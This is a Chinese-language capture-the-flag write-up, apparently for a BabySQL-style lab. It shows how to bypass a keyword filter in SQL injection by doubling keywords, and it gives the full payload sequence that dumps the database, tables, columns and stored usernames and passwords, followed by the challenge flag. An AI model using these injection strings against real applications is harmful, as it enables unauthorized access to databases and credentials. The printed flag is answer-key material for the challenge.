知识点

  • sql注入双写绕过关键字过滤

启动靶机

启动靶机,查看题目
当然第一步还是尝试万能密码,然后发现or不能用,这时候要记得使用双写

1.测试有多少字段

首先测试一下,发现union和select过滤了

  1. 1' union select 1#

使用双写

  1. 1' ununionion seselectlect 1#

还是报错,但是没有说是我们sql语法有问题,说明注入成功,可能是我们的列数不对,我们一个个向上调,应该不会很大
image.png
在列数为3的时候得到回显,是不是很熟悉了,和上次那个LoveSQL很像啦,爆破!

2.爆出数据库名

  1. 1' ununionion seselectlect 1,2,database()#

image.png

3.爆出数据库里的表

  1. 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek';#

得到数据表名为geekuser,b4bsql

4.爆出表的列名

  1. 1' ununionion selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_name='b4bsql';#

5.爆出所有数据

  1. 1' ununionion selselectect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frfromom geek.b4bsql;#

6.得到flag

  1. flag{7e0b1cec-6f0b-47a4-ba1c-ed9d680e9c9d}